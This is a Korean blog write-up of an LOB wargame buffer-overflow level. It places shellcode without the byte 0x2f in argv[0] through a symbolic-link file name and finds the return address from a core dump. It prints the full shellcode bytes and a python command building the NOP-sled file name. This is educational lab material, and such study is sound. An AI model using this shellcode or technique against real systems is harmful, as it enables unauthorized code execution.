Troll.c의 코드는 한결 더 빡세어졌다.
우선 argc != 2로 agrv가 2가 아니면 exit하고,
환경변수를 모두 0으로 바꾸며,
argv[1][47]은 0xbf 여야 하고,
argv[1]의 길이는 48이하여야하며,
프로그램 전에 buffer을 초기화하고,
argv[1]도 초기화한다.
싸그리다 제한하고 초기화시켜버리니 BOF할 구석이 없어보인다.
하지만 유심히 보면 초기화 되지 않은 곳이 한구석 있다. 바로 argv[0]이다.
전 문제에서도 말했듯이 심볼릭 링크로 파일이름을 바꾸는게 가능하다.
따라서 이번엔 파일이름에 쉘코드를 넣어볼 생각이다.
우선 쉘코드를 넣기 전에 알아야 할것이 있는데
'0x2f'이다. 이 코드가 들어간 쉘코드는 사용할 수 없다. 왜냐하면 리눅스에선 0x2f를 '/' 즉 디렉토리 구분으로 생각하기 때문이다.
만약 0x2f가 들어간 쉘코드를 사용하면 다음과 같이 된다.
따라서 새로운 쉘코드를 구해야 했다.
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff
\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff
\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69
\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a
\xb1\x0c\xce\x81
이 쉘코드는 바이트 수로 봤을 땐 엄청난 크기를 자랑하지만 0x2f가 없다는 것만으로 감사해야한다.
이 쉘코드로는 링크 형성이 가능하다!
ls로 보면 매우 깨져보이지만 말이다.
그럼 이 파일을 실행하고 싶을 떈 어떡해야할까?
./???????~~~~~를 입력해서는 안되고
./`python -c 'print "\x90"*50 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80
\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1
\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4
\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` [인자]
처럼 파일이름을 python으로 짜서 넘겨줘야 한다.
그럼 이제 쉘코드를 넣었으니 argv[0]의 주소를 구해야 한다.
먼저 temp에 troll을 복사한 후 core을 떨어뜨려 보았다.
보아하니 주소 맨 뒤쪽에 넣은 코드들이 보인다.
0xbfffffa0 정도부터 0x90이 보인다.
그래서 이 주소로 ret하면,
세폴이 뜬다.
엥? 뭐가 문제지? 하고 코어를 다시한번 보았다.
앗 자세히 보니 0xbffffb10정도부터도 0x90이 있는것이 보인다.
이 주소로 ret해보자.
바로 쉘을 얻을 수 있었다.
'LOB' 카테고리의 다른 글
LOB:Vampire→Skeleton (0) | 2018.04.09 |
---|---|
LOB : Troll→Vampire (0) | 2018.04.09 |
LOB : Darkelf→Orge (0) | 2018.04.09 |
LOB : Wolfman → Darkelf (0) | 2018.04.08 |
LOB : Orc → Wolfman (0) | 2018.04.08 |